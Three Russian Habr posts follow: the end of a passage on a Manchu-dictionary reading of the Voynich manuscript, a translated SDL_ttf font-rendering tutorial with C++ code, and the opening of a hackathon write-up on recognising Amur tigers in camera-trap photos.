| fi oh | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 1 |
| f? | FOYO | 1. ula grass--a soft grass used as padding in shoes 2. cloth woven from horsehair | 1 |
| fus l | FUSELI | an inedible freshwater fish resembling the black carp whose gall is used as a medicine | 1 |
| gurg | GURUka | Simple Past (suff.k): (1) to dig up, to dig out (vegetables, herbs) | 1 |
| hkohti | HAKDA | old grass left over from the previous year, a spot of grass remaining in an area that has been burnt over | 1 |
| hocti | HAKDA | old grass left over from the previous year, a spot of grass remaining in an area that has been burnt over | 1 |
| hkti | HAKDA | old grass left over from the previous year, a spot of grass remaining in an area that has been burnt over | 1 |
| h?i octi | HAKDA | old grass left over from the previous year, a spot of grass remaining in an area that has been burnt over | 1 |
| hurs | HERESU | a grass growing along the edges of salt marshes that is eaten by camels | 17 |
| ?hurs | HERESU | a grass growing along the edges of salt marshes that is eaten by camels | 1 |
| hurci | HERESU | a grass growing along the edges of salt marshes that is eaten by camels | 1 |
| hurs i | HERESU | a grass growing along the edges of salt marshes that is eaten by camels | 1 |
| hofi | HIFE | barnyard grass (Panicum crusgalli) | 3 |
| h?fi | HIFE | barnyard grass (Panicum crusgalli) | 2 |
| hfi | HIFE | barnyard grass (Panicum crusgalli) | 1 |
| ici hi | ISIha | Simple Past: (2) (-ha) to pull up (grass), to pluck | 1 |
| ios ug | ISIka | Simple Past (suff.k): (2) (-ha) to pull up (grass), to pluck | 1 |
| icico | ISIka | Simple Past (suff.k): (2) (-ha) to pull up (grass), to pluck | 1 |
| jol n | JALAN | 1. a section (of bamboo, grass, etc.), a joint 2. generation, age 3. world 4. subdivision of a banner, ranks 5. measure word for walls and fences | 1 |
| n'oci mbi | NIYECEMBI | 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'oci ohobi | NIYECEha bi | Past Continuous 1: 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'oc?i hob | NIYECEha bi | Past Continuous 1: 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'oc?i hob | NIYECEhobi | Indefinite Past: 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'oci ohobi | NIYECEhobi | Indefinite Past: 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'oc?i hob | NIYECEhoi bi | Past Continuous 3: 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'oci ohobi | NIYECEhoi bi | Past Continuous 3: 1. to mend 2. to fill in, to fill (a post) 3. to supplement 4. to nourish (of foods and medicines) | 1 |
| n'octi | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 318 |
| n'octo | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 28 |
| n'ogti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 3 |
| n'octi o | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 3 |
| n'o cti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 3 |
| n'ohkti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 3 |
| n'cto | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'o ct | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'oct | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'okti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'oocti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'oicti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'ocoti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n' octi | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'oct? | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'ohki ohti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'okhti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'cti | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| n'octu | NUKTE | 1. an area in which nomads lead their flocks and herds following water and grass 2. baggage carried on pack animals | 1 |
| octi | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 180 |
| octo | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 26 |
| o cti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 8 |
| oicti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 3 |
| oct | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 2 |
| ocou ti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ohkti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| o octo | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ocoti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ohko ?ohti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ogti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ohkoti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| octoi | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| oc to | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ohki to | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| octi o | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ok?hti | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| octu | OKTO | 1. drug, medicine 2. gunpowder 3. dye 4. poison | 1 |
| ohktl ohko | OKTOLOka | Simple Past (suff.k): 1. to treat with medicine 2. to poison | 1 |
| octol ohki | OKTOLOka | Simple Past (suff.k): 1. to treat with medicine 2. to poison | 1 |
| omombi | OMIMBI | 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 2 |
| ommbi | OMIMBI | 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omumbi | OMIMBI | 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omhi | OMIha | Simple Past: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 2 |
| omohi | OMIha | Simple Past: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omhibi | OMIha bi | Past Continuous 1: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 2 |
| omi hob?i | OMIha bi | Past Continuous 1: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omhibi | OMIhobi | Indefinite Past: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 2 |
| omi hob?i | OMIhobi | Indefinite Past: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omhibi | OMIhoi bi | Past Continuous 3: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 2 |
| omi hob?i | OMIhoi bi | Past Continuous 3: 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| om hki | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 2 |
| om c | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omhki | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omcu | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omo ohko? | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omc | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omug | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| omco?i | OMIka | Simple Past (suff.k): 1. to drink 2. to smoke (tobacco) 3. to take (medicine) | 1 |
| s | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 290 |
| si | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 12 |
| so | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 11 |
| s \_ | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 4 |
| s ^ | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 4 |
| s i | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 2 |
| s o | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 2 |
| s h | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 1 |
| ^s | SA | 1. shaft or thill of an oxcart 2. feather grass from which the outside surface of summer hats are made 3. plural suffix (sometimes written separately) | 1 |
| sus urg | SOSOROka | Simple Past (suff.k): (-ko) 1. to back up, to withdraw, to retreat 2. to wither, to become senile 3. to rake (grass) | 2 |
| sosurg | SOSOROka | Simple Past (suff.k): (-ko) 1. to back up, to withdraw, to retreat 2. to wither, to become senile 3. to rake (grass) | 1 |
| ucti | UKADA | a mound with grass growing on it | 11 |
| ucto | UKADA | a mound with grass growing on it | 1 |
| ucti | UKŪDA | see ukada :: a mound with grass growing on it | 11 |
| ucto | UKŪDA | see ukada :: a mound with grass growing on it | 1 |
| ungg un | UNGKAN | frozen snow on the top of grass | 6 |
| ungg n'o | UNGKAN | frozen snow on the top of grass | 3 |
| ungg on | UNGKAN | frozen snow on the top of grass | 2 |
| ungcun | UNGKAN | frozen snow on the top of grass | 1 |
##### Слова, для которых metaphone не смог подобрать ни одного перевода
Топ-15 таких слов. Некоторые из них находят толкование, если их рассматривать в паре с соседним словом — предыдущим или последующим.
| NWORD | COUNT(\*) |
| --- | --- |
| škbi | 380 |
| tkbi | 325 |
| n'ocungg | 239 |
| bum | 234 |
| n'octbi | 230 |
| ocungg | 204 |
| n'ocum | 202 |
| n'ockbi | 181 |
| ohus | 181 |
| škfi | 179 |
| škom | 172 |
| ohungg | 166 |
| ocum | 163 |
| ohum | 161 |
Многие из них по структуре *могли бы* быть каким-нибудь маньчжурским словом — имеют характерные суффиксы и окончания **-ng-, -ungg-, -mbi-, -bumbi-** и так далее.
Одиночных слов без соответствия по самому широкому охвату (TRANSL\_VERB21, со склонениями глаголов ) — 18 К из всего 40К. Однако рассмотрение пар соседних слов дает еще 30К уникальных пар, имеющих по крайней мере один метафоновский перевод. И многие слова, не имеющие вариантов перевода в паре с соседними создают сочетания, для которых перевод находится.
Например, **skbi** даже в парах не дает пеереводов, но следующее такое слово **tkbi** в одном из 325 мест образует с соседом **tkbi ombi** — есть 4 варианта перевода. Слово **bum** составляет многочисленные пары **bum bi** — и так далее. Наборы из трех и более соседних слов я не генерил и не проверял, но может быть 3-словные блоки стоило бы посмотреть.
#### Мысли
Количество совпадений слов и грамматических изменений текста позволяют сделать осторожный вывод, что в манускрипте Войнича по крайней мере используются слова из диалекта маньчжурского/чжурчжэньского языка. Последовательности слов плохо укладываются в языковые конструкции типа словосочетаний и предложений. Но их не находили и раньше, статистический анализ не выявлял их с самых первых попыток. Похоже, что во многих местах идет индексная запись — то есть короткие заметки с сокращениями, которые автору были понятны, но при этом они не складываются в связный текст. Многие слова разбиты на части, возможно автор текста записывал его с устной речи другого человека.
Я не могу определить, насколько достоверно найденные слова и их частоты говорят о том, что в рукописи есть маньжурские вставки. В тексте около 170К букв и 40К слов. Точных совпадений слов по словарю — несколько сотен, но я не беру в расчет совсем короткие слова на 1-2 знака. Кроме этого есть тысячи приблизительных совпадений, по коду метафона. Беглый просмотр по страницам вроде показывает, что слово есть в словаре, но с первого взгляда в предложения они не складываются.
Здорово было бы показать это все ученому-компаративисту, специалисту по дальневосточным языкам. Я лично с такими не знаком, но в России они должны быть. Статьи о таких личностях как [Сергей Старостин](http://altaica.narod.ru/personalia/starostin.htm) и записанные интервью с ними подсказывают, что в РГГУ или МГУ надо искать. Могут, конечно, сказать, что это все ерунда. И вообще, неизвестно, как часто к ним приходят с идеями и вопросами по Войничу, может уже и надоело…
В процессе всего этого я наткнулся на любопытный онлайн-курс [Corpus Linguistics](https://www.futurelearn.com/courses/corpus-linguistics) от Lancaster University на платформе FutureLearn. Я даже записался на него, но, что называется, не пошло. Сама платформа и подача материала не такая удобная, как на Coursera, да и времени перестало хватать после первой недели. Может быть, стоит взяться за него основательнее в следующий заход. Из него пока могу посоветовать энтузиастам программу [AntConc](http://www.antlab.sci.waseda.ac.jp/software.html) — она предназначена для анализа конкордансов текстов, используя загруженные корпусы их выборки из них. Также переделанная из английской в маньчжурскую версия функции Metaphone очень несовершенна — нуждается в улучшении.
При обсуждении знакомый веб-программист предложил простой способ распознать всю рукопись: порезать картинки страниц на отдельные слова и пары слов вставлять их в капчу при логине на сайты…
#### Ссылки с комментариями
##### Основное
[Интервью с Марчелло Монтемурро на Lenta.ru](http://lenta.ru/articles/2013/07/12/voinich/)
[Marcelo A. Montemurro, Damian H. Zanette, PLoS ONE, 2013](http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0066344)
[Критика его статьи на странице войничеведа](http://hydeandrugg.wordpress.com/2013/06/23/the-montemurro-and-zanette-voynich-manuscript-article-a-detailed-discussion/)
[Статья в Компьютерре 2005 года о манускрипте](http://old.computerra.ru/offline/2005/573/37310/)
[Обзор-презентация истории VMS, попыток дешифровки и статистический анализ](http://www.isi.edu/natural-language/people/voynich.pdf)
[Удобный просмотр МВ. Voyage the Voynich Manuscript](http://www.jasondavies.com/voynich/#f1r/0.5/0.5/2.50)
###### Willam Porquet's page
[A Manchu Sceleton key to VMS](http://deepsky.com/~merovech/voynich/voynich_key.html)
[Full trangokulation with initial VMS text](http://deepsky.com/~merovech/voynich/voynich.html)
##### A list of theories
[Voynich theories](http://www.ciphermysteries.com/the-voynich-manuscript/voynich-theories)
[A visual map of Voynich evidence theories](http://www.ciphermysteries.com/2013/07/23/a-visual-map-of-voynich-evidence-theories-people)
##### Остальное
[Visualizing textual structures in the Voynich manuscript](http://hydeandrugg.wordpress.com/2013/04/14/visualizing-textual-structures-in-the-voynich-manuscript/)
[Hoaxing the Voynich manuscript — part 3](http://hydeandrugg.wordpress.com/2013/08/09/hoaxing-the-voynich-manuscript-part-3-the-hurdle-of-expert-linguist-scrutiny/)
[Hoaxing the Voynich manuscript — part 4](http://hydeandrugg.wordpress.com/2013/08/20/hoaxing-the-voynich-manuscript-part-4-the-materials/)
[Подробный анализ зодиакальной части](http://www.voynichmanuscript.co.uk/vmcontents.htm)
[Voynich alphabets, scripts — on Omniglot](http://www.omniglot.com/writing/erikvoynich.htm)
##### Manchu theory
[Ответ Столфи о маньчжурской теории — обсуждение аспектов](http://www.voynich.net/Arch/2004/05/msg00195.html)
###### Бразилец Жорже Столфи ведет самый известный и актуальный сайт по МВ, но есть много других
[Zbigniew Banasik's Manchu theory](http://www.ic.unicamp.br/~stolfi/EXPORT/projects/voynich/04-05-20-manchu-theo/)
[Первые переводы Збигнева Банасика](http://www.ic.unicamp.br/~stolfi/voynich/04-05-20-manchu-theo/f1r-translation.html)
[Работа польского профессора, анализ языков Земли и манускрипта](http://csp2011.mimuw.edu.pl/proceedings/PDF/CSP2011250.pdf)
[Отзыв на reddit](http://www.reddit.com/r/reddit.com/comments/j965l/a_skeleton_key_to_the_voynich_manuscript_pdf/)
##### Manchu library
[Wikibooks](http://en.wikibooks.org/wiki/Manchu/Library)
[Wikibooks 2](http://en.wikibooks.org/wiki/Manchu/Library/usiha_be_toloro_jui)
[Wikibooks 3](http://en.wikibooks.org/wiki/Manchu/Library/dungg%27o_siyanxeng_jai_niohe)
[Wikibooks 4](http://en.wikibooks.org/wiki/Manchu/Library/mentuhun_gung_alin_be_guribuhengge)
[Google booksManchu: A Textbook for Reading Documents: Чжурчженьский( manchu ) язык](http://books.google.co.uk/books?id=1bArr1-E5mQC&pg=PA44&lpg=PA44&dq=manchu+roots&source=bl&ots=gPbAQ18qC4&sig=cYI7-3T-lp7Pu_sDFLYk4v-Xpxs&hl=en&sa=X&ei=f-n3UfqvJKGW0AXo4oGACg&ved=0CGsQ6AEwCA#v=onepage&q=manchu%20roots&f=false)
[Чжурчженьский на Омниглоте](http://www.omniglot.com/writing/jurchen.htm)
[Jurchen script on Wiki](http://en.wikipedia.org/wiki/Jurchen_language)
[Монгольские и тюркские заимствования в образцах малого чжурчжэньcкого письма](http://zaimka.ru/burykin-jurchens/)
… [Чжурчжэньское письмо. Википедия](http://ru.wikipedia.org/wiki/%D0%A7%D0%B6%D1%83%D1%80%D1%87%D0%B6%D1%8D%D0%BD%D1%8C%D1%81%D0%BA%D0%BE%D0%B5_%D0%BF%D0%B8%D1%81%D1%8C%D0%BC%D0%BE)
#### Про Сергея Старостина и глоттохронологию
[Школа злословия](http://www.youtube.com/watch?v=hS8f4GnhO0E)
[О Старостине на Альтаике](http://altaica.narod.ru/personalia/starostin.htm)
[Сергей Старостин. Два подхода к изучению истории языка](http://wsyachina.narod.ru/history/language_history.html)
[На каком языке говорили Адам и Ева](http://www.ng.ru/science/2007-05-23/14_yazyk.html)
[Retouching](http://www.ic.unicamp.br/~stolfi/EXPORT/projects/voynich/04-07-15-retouching/)
[Большой текст воспоминаний о И.И.Захарове и русско-китайских отношениях в 19 в](http://www.vostlit.info/Texts/Dokumenty/China/XIX/1820-1840/Zacharov/text.htm)
[Маньчжурские manchzhurskie письменные памятники как источник по истории и культуре империи Цинь 17-18 вв](http://www.dissercat.com/content/manchzhurskie-pismennye-pamyatniki-kak-istochnik-po-istorii-i-kulture-imperii-tsin-xvii-xvii)
[voynich.net](http://voynich.net/)
[Еще из Компьютерры 2005 года — про отчаянных расшифровщиков непрочтенных древних текстов](http://old.computerra.ru/2005/573/37311/)
##### Картинки
Визуализатор manchu VMS в виде пузырьков — из коллекции TAPoR:
Как некоторые исследователи VMS аргументируют гипотезу о том, что женщины в бассейнах — это изображение внутренних органов человека.
1. Почки
2. **Мозг**
3. **Сердце**
4. **Легкие**
5. **Глазные яблоки**
 | https://habr.com/ru/post/186952/ | null | ru | null |
# Цикл уроков по SDL 2.0: урок 6 — Загружаем шрифты с помощью SDL_ttf
*От переводчика:
Это продолжение серии переводов туториалов от Twinklebear, в оригинале доступных [тут](https://www.willusher.io/pages/sdl2/). Перевод отчасти вольный и может содержать незначительные поправки или дополнения от переводчика. Перевод первых двух уроков — за авторством [InvalidPointer](https://habr.com/ru/users/invalidpointer/), а третьего и четвертого — за [k1-801](https://habr.com/ru/users/k1-801/).*
**Список уроков:**
* [Урок 1. Hello World!](https://habr.com/ru/post/198600/)
* [Урок 2. Не запихивайте все в main](https://habr.com/ru/post/200730/)
* [Урок 3. Библиотеки-расширения SDL](https://habr.com/ru/post/437252/)
* [Урок 4. Обработка событий](https://habr.com/ru/post/437308/)
* [Урок 5. Нарезка листа спрайтов](https://habr.com/ru/post/494478/)
* **Урок 6. Загружаем шрифты с помощью SDL\_ttf**
Загружаем шрифты с помощью SDL\_ttf
-----------------------------------
В этом уроке мы узнаем, как отображать шрифты формата True Type font с помощью библиотеки-расширения SDL\_ttf. Установка библиотеки идентична установке SDL\_image в [Уроке 3](https://habr.com/ru/post/437252/), но вместо “image” просто пишем “ttf” (пользователям Windows стоит еще скопировать включенный dll freetype). Так что [загрузите SDL\_ttf](http://www.libsdl.org/projects/SDL_ttf/), взгляните на [документацию](http://www.libsdl.org/projects/SDL_ttf/docs/index.html) и приступайте к уроку!
Первое, что нам нужно для работы с SDL\_ttf, — это ttf шрифт. Используя [BitFontMaker](http://www.pentacom.jp/pentacom/bitfontmaker2/), автор сделал довольно ужасный шрифт, который вы можете [скачать из репозитория](https://github.com/Twinklebear/TwinklebearDev-Lessons/raw/master/res/Lesson6/sample.ttf), но если у вас уже имеется свой красивый шрифт, то можно использовать его. Этот шрифт предоставляет только простые символы ASCII, так что если вы попробуете отобразить не-ASCII символы, то скорее всего это не получится. Код этого урока будет написан на основе урока 5, как обычно вы можете скачать его с [Github](https://github.com/Twinklebear/TwinklebearDev-Lessons/tree/master/Lesson6). Изображения, нарезанные спрайты и рисунки будут изменены в этом уроке.
Отображаемый текст
------------------
SDL\_ttf обеспечивает несколько способов отображения шрифтов различной скорости и качества, а также возможность отображения UTF8 и Unicode символов. [Документация](http://www.libsdl.org/projects/SDL_ttf/docs/SDL_ttf_42.html#SEC42) предоставляет неплохой обзор различных методов отображения, так что стоит почитать и узнать о них больше, когда и какой метод вы хотите использовать в зависимости от ваших требований к качеству и скорости. В этом уроке мы будем использовать TTF\_RenderText\_Blended, так как у нас нет никаких временных ограничений и хотим, чтобы наш текст был красивым. Различные функции отображения текста принимают цвет в формате RGB [SDL\_Color](http://wiki.libsdl.org/SDL_Color), который мы можем использовать, чтобы подобрать цвет текста для отрисовки.
К сожалению, SDL\_ttf может отображать только на поверхность, поэтому придется выполнить дополнительный шаг после визуализации текста, чтобы создать из него текстуру, которую мы можем нарисовать с помощью рендерера. Конечно, еще будет нужно загрузить шрифт, который мы будем использовать, что делается с помощью [TTF\_OpenFont](http://www.libsdl.org/projects/SDL_ttf/docs/SDL_ttf_14.html#SEC14), где также можно указать желаемый размер шрифта.
Пишем функцию renderText
------------------------
Чтобы упростить себе жизнь, создадим функцию renderText, которая будет принимать текст, файл, содержащий шрифт TTF, цвет, желаемый размер и рендерер для загрузки окончательной текстуры. Функция открывает шрифт, отображает текст, преобразует его в текстуру и возвращает текстуру. Так как могут возникнуть проблемы, нужно проверить каждый вызов библиотеки на ошибки и правильно их обработать, например, почистить ресурсы, логгировать ошибки и вернуть nullptr, чтобы мы знали, что произошло что-то плохое. SDL\_ttf сообщает все свои ошибки через SDL\_GetError, так что можно продолжать использовать logSDLError для логгирования ошибок.
Держа в уме эти требования, давайте напишем функцию renderText:
```
/**
* Отображает текст в текстуру для отрисовки
* @param message Сообщение, которое хотим отобразить
* @param fontFile Шрифт, который хотим использовать
* @param color Цвет, в который хотим окрасить текст
* @param fontSize Размер шрифта
* @param renderer Рендерер, в который нужно загрузить текстуру
* @return SDL_Texture, содержащий отрендеренный текст или nullptr, если что-то пошло не так
*/
SDL_Texture* renderText(const std::string &message, const std::string &fontFile,
SDL_Color color, int fontSize, SDL_Renderer *renderer)
{
//Открываем шрифт
TTF_Font *font = TTF_OpenFont(fontFile.c_str(), fontSize);
if (font == nullptr){
logSDLError(std::cout, "TTF_OpenFont");
return nullptr;
}
//Сначала нужно отобразить на поверхность с помощью TTF_RenderText,
//затем загрузить поверхность в текстуру
SDL_Surface *surf = TTF_RenderText_Blended(font, message.c_str(), color);
if (surf == nullptr){
TTF_CloseFont(font);
logSDLError(std::cout, "TTF_RenderText");
return nullptr;
}
SDL_Texture *texture = SDL_CreateTextureFromSurface(renderer, surf);
if (texture == nullptr){
logSDLError(std::cout, "CreateTexture");
}
//Очистка поверхности и шрифта
SDL_FreeSurface(surf);
TTF_CloseFont(font);
return texture;
}
```
Предупреждение о производительности
-----------------------------------
Очень важно заметить, что каждый раз, когда хотим отобразить текст, заново открываем и закрываем шрифт, что подходит в нашем случае, так как отображаем текст один раз, но если мы захотим отобразить много текста и/или слишком часто, то лучшей идеей будет держать шрифт открытым столько, сколько нам нужно. Наша версия renderText для этого более частого случая будет принимать TTF\_Font\* вместо названия файла шрифта и не будет открывать и закрывать, так как жизнь файла шрифта будет регулироваться отдельно.
Инициализируем SDL\_ttf
-----------------------
Как и с SDL нам нужно инициализировать библиотеку перед тем, как использовать ее. Это делается с помощью [TTF\_Init](http://www.libsdl.org/projects/SDL_ttf/docs/SDL_ttf_8.html#SEC8), который вернет 0 в случае успеха. Чтобы инициализировать SDL\_ttf, мы лишь вызываем эту функцию после инициализации SDL и проверяем вернувшееся значение, чтобы убедиться, что все нормально.
```
if (TTF_Init() != 0){
logSDLError(std::cout, "TTF_Init");
SDL_Quit();
return 1;
}
```
Используем renderText
---------------------
С помощью нашей удобной функции renderText мы можем отображать текст одним простым вызовом. Для этого урока отобразим текст “TTF fonts are cool!” белого цвета, размера 64 шрифтом, который мы скачали до этого. Затем мы можем запросить ширину и высоту так же, как и для любой другой текстуры, и вычислить координаты x/y, чтобы нарисовать сообщение в центре окна.
```
const std::string resPath = getResourcePath("Lesson6");
//Мы отображаем строку "TTF fonts are cool!"
//Цвет в формате RGBA
SDL_Color color = { 255, 255, 255, 255 };
SDL_Texture *image = renderText("TTF fonts are cool!", resPath + "sample.ttf",
color, 64, renderer);
if (image == nullptr){
cleanup(renderer, window);
TTF_Quit();
SDL_Quit();
return 1;
}
//Получим ширину и высоту текстуры, чтобы отобразить ее в центре
int iW, iH;
SDL_QueryTexture(image, NULL, NULL, &iW, &iH);
int x = SCREEN_WIDTH / 2 - iW / 2;
int y = SCREEN_HEIGHT / 2 - iH / 2;
```
Рисуем текст
------------
В конце концов можем нарисовать текстуру, как мы это делали до этого с помощью функции renderTexture.
```
//Заметка: Это в основном цикле программы
SDL_RenderClear(renderer);
//Мы можем отрисовать наш текст, как и любую другую текстуру, так как
//он был отрендерен в текстуру
renderTexture(image, renderer, x, y);
SDL_RenderPresent(renderer);
```
Если все пошло по плану, вы увидите что-то вроде такого:
Конец урока 6
-------------
Это все, что нужно знать, чтобы начать пользоваться SDL\_ttf! Не забудьте посмотреть [документацию](http://www.libsdl.org/projects/SDL_ttf/docs/index.html), чтобы увидеть, на что эта библиотека способна. Как обычно, если у вас возникнут проблемы с уроком, можете писать в комментариях.
Автор стал занят другими проектами и не сможет писать уроки больше, так что это был последний урок из цикла. Вы можете посмотреть уроки от [Lazy Foo](http://lazyfoo.net/tutorials/SDL/) или почитать примеры и документацию из [SDL wiki](https://wiki.libsdl.org/FrontPage). | https://habr.com/ru/post/494554/ | null | ru | null |
# Как узнать принцессу среди 500 амурских тигров с помощью vision transformers
*Рассказываем, как мы, ML princesses [Napoleon IT] стали победителями кейса от Минприроды «Защита редких животных», и решили задачу по созданию сервиса, способного распознавать в дикой природе особо редкий вид хищников- амурского тигра. Десятый региональный хакатон проходил в рамках федерального проекта «Искусственный интеллект».*
Проблематика
------------
Число амурских тигров стремительно сокращается по всей планете. По оценкам экспертов, на 2021 год в России насчитывается около 580 особей. Это значит, что ценность представляет каждая жизнь и мы можем помочь решить эту проблему - бороться с браконьерством и спасать тигров с помощью искусственного интеллекта.
Карта популяции амурских тигровПодготовка к хакатону
---------------------
Чтобы хорошо подготовиться к хакатону мы нашли готовые датасеты для детекции и классификации животных.
**Датасет для детекции:**
1. 2750 изображений;
2. разрешение 1920x1080;
3. разметка в формате x, y, width, height;
4. 1 класс - тигры.
**Датасет для классификации:**
1. 3080 изображений;
2. разрешение варьируется от изображения к изображению;
3. размеченные фотографии были распределены по папкам с названиями классов;
4. 5 классов - гепарды, леопарды, пантеры, ягуары и тигры.
Постановка задачи
-----------------
В начале хакатона мы ознакомились с техническим заданием и принялись за работу. Основная задача заключалась в создании модели машинного обучения, которая позволила бы классифицировать животных, попавших в объективы расположенных в лесу фотоловушек, специальных устройств фиксации фото и видео по датчику движения без участия человека.
ФотоловушкаВторая задача - найти ту единственную амурскую тигрицу “Принцессу”, эту особь можно идентифицировать по уникальному рисунку по бокам, аналогично человеческим отпечаткам пальцев. Узор отличается с левой и правой стороны.
Технический эксперт оценивает решение по следующим критериям:
1. Запускаемость кода.
2. Обоснованность выбранного метода (описание подходов к решению, их обоснование и релевантность задаче).
3. Точность работы алгоритма (возможность оценить формальной метрикой с обоснованием выбора).
4. Адаптивность/Масштабируемость.
5. Отсутствие в решении импортного ПО и библиотек, кроме свободно распространяемого с обоснованием выбора.
Мы распределили роли: [Вова](https://github.com/Vlako) был ответственный за обучение моделей, [Игорь](https://github.com/spannenberger) занимался инференсом моделей и телеграм ботом, а [Егор](https://github.com/q1r8) разрабатывал бэкэнд приложения и накидывал презентацию для итоговой спич-сессии.
У нас было готово: предобученные модели классификации и детекции.
Нам надо было сделать: дообучить модель классификации на данных, предоставленных организаторами; бэкэнд приложение, с привязанным к нему телеграм ботом.
Исходные данные
---------------
Мы получили данные от организаторов. Это были размеченные фотографии с фотоловушек, расположенных в лесу. Разметка Всего было 4 класса: “принцесса”, “тигры”, “леопарды” и “другие животные”. Фотографии были сделаны как днем, так и ночью с разрешением 2048 x 1536 пикселей. На одном снимке могло быть несколько животных одного класса. К фотографиям прилагались csv с координатами для обучения детектора в формате x1, y1, x2, y2. На фотографии ниже можем наблюдать ту самую принцессу.
Пример изображения из датасетаТехническое решение
-------------------
Наше решение позволяет распознавать виды животных и отдельных особей с высокой точностью за счет SOTA (state of the art) подходов. Оно состоит из 4 модулей:
1. Телеграм-бот.
2. Сервис распознавания.
3. Модель детекции.
